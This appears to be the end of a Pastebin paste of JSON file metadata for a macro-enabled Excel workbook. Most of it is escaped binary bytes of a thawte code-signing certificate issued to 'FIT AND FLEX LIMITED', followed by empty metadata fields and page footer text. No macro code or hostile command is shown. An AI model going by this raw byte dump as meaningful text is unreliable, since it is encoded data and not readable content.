\x8f)YK\\x89\\x96\\x08F\\xc9\\x8e\\xfcuO\\xc5\\xdc\t\\xccN'\\x8bD\\xcd\\x07\\xbc\\xac\\x04\\xe0\\xb53\\xa5\\x87\\x9f\\xf4\\xdds\\x0c\\x91\\xea\\x12\\x81o\\xe3u\\xf0\\x1e\\xb5\\x93lD\\x17\\xd5>\\x97\\xc9\\xbd\\x07,Vw\\x1f\\x85\\xddF\\xe8\\xbf\\xde,\\x81\\x94\\xa3\\xf7\\xe5\\xb7\\xa7\\xc17\\x9fu\\xcaUwM^6)\\xca\\x85\\xd8EArWu\\xc0y[\\xfa4\\x10\\x06md B\\xb7:\\xc8\\x1f\\x1dFd\\x02_\\xc6G\\xbe\\xf0\\xc4:(T\\xda\\xf6\\x1eO\\x9a\\xa2\\x19C\\xa4oI\\xf8\\xfc^B (\\x84\\x8bG n0\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X1\\x82\\x01\\xfc0\\x82\\x01\\xf8\\x02\\x01\\x010`0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\xa0p0\\x14\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0c1\\x060\\x04\\xa0\\x02\\x80\\x000\\x19\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x031\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x040\\x1c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0b1\\x0e0\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x150\\x1f\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x041\\x12\\x04\\x10\\x0c\\x1aS\\x7f\\x11\\xde?y\\x8d\\xde2\\x05K7\\xeb\\x9c0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x04\\x82\\x01\\x00ge\\x16\\xe9,\\x83\\x88q\\x0b\\x93\\x863o\\x0f\\x9f\"\\xaf\\xb5\\xe9\\x89qQ\\xdc{\\x17J\\xf0.v\\xe7\\x19V\\x1f\\xb8\\xb5*\\xd8\\xa85C\\xa5w\\xd5\\x0733\\xf0p\\x1d\\xd9Fu\\xa9bt\\xc8\\x87\\xed\\xd8\\x11Q\\xde\\x96\\xf5H\\x04/zV_\\xf0\\xdc\\xd72\\x9b\\xbc0\\x1e\\x1c=\\x9e\\x88y\\xeeY\\xdd\\x18d\\xfbchl\\x0fG\\x0b\\xa2\\xd2\\xd3\\xc4S\\xb5F\\x07\\xa7\\xec\\xd7\\x8efz\\xf6\\xd5\\xf9\\x83\\xff\\x91\\x8d\\x8d\\xd8A\\xbc\\xb6\\xcb\\xfa\\xa1\\x84u\\xbe\\xf4@\\xa5 h\\x99K!\\x89\\x80\\xa5J\\xfb\\xcc\\xb6\\xe7\\x0e\\x93\\xb97tv\\xf7\\xf2\\x83gN\\xf3\\xda\\x8f\\xc1iY\\x1a\\x7f\r\\xb4\\xbb?\\x1b5\\xcb\\xe4\\xa0\\xd5\\x91cH\\x03\\xb6\\xcc\\xd7\\x99P\\x14(#8\\x0fc\\xf4f\\x92]+\\xea\\xd1\\xeca\\xe5\\xe9\\x9d<m+O\\xe4\\xef\\x9e\\xc87\\xda\\xd8L.\\xb3Z\\x84\\x16\\x9d\\xafgB\\xa0\\x8cF\\x11\\xc5\\xff,8\\xdb\\xefv\\xbb\\x0e\\xc5\\x04\\x9a\\xd1%0i\\x7f\\x8f\\x89\\xe7\\xbe\\xdc3\\x02\\xc8W\\xb5\\xc7\\xf6C7\\xa4\\x00\\x00\\x00\\x00CERTK\\x00\\x00\\x00\\x01\\x00\\x00\\x00D\\x00\\x00\\x008\\x00E\\x00B\\x003\\x005\\x003\\x007\\x006\\x007\\x004\\x004\\x00F\\x003\\x009\\x002\\x003\\x009\\x006\\x003\\x000\\x007\\x004\\x006\\x000\\x00D\\x005\\x004\\x006\\x002\\x002\\x002\\x00D\\x00_\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xaf\\xa1\\xd2\\x96\\xec\\x07>\\xe6\\xbfK\\xf5r\\x07z\\xdf\\xbd\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00F\\xd8\\xd2\\x8ff1\\x1ctq\\xb8U\\xb0q\\x1e\\xf9\\xe4\\xb4\\xa6B\\xc9x\\xfd\\x91\\x06\\xa6\\x0b\\xc3\\x04\\xaf\\xc5B\r\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xcc\\x00\\x00\\x00\\x1c\\x00\\x00\\x00l\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00 \\x00E\\x00n\\x00h\\x00a\\x00n\\x00c\\x00e\\x00d\\x00 \\x00C\\x00r\\x00y\\x00p\\x00t\\x00o\\x00g\\x00r\\x00a\\x00p\\x00h\\x00i\\x00c\\x00 \\x00P\\x00r\\x00o\\x00v\\x00i\\x00d\\x00e\\x00r\\x00 \\x00v\\x001\\x00.\\x000\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00P\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xda\\xb0\\xc4\\xe8\\xe9(\\xfbc\\xed\\x9b\\x89\\xdc\\xd3Yr\\x06\\x03\\xfeF\\x14\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00g\\xd9\\xa4\\xfb\\x8d\\x8ai\\xe2p9\\x9f0\\xae\\xaa\\xb8y\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xce\\xd1\\xc3\\x1b\\xb1\\xb5\\xc6\\x05\\x7f\\x0b\\x94]i\\x07\\xaf_ \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb3\\x04\\x00\\x000\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
  1713. "content_type": "None",
  1714. "heading_pairs": "None",
  1715. "slides": "None",
  1716. "links_dirty": "False",
  1717. "language": "None",
  1718. "notes": "None",
  1719. "bytes": "None",
  1720. "manager": "None",
  1721. "content_status": "None",
  1722. "doc_version": "None",
  1723. "titles_of_parts": "None",
  1724. "lines": "None"
  1725. },
  1726. "HasMacros": "Yes",
  1727. "DocumentType": "Excel Workbook"
  1728. }
  1729. }
  1730. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!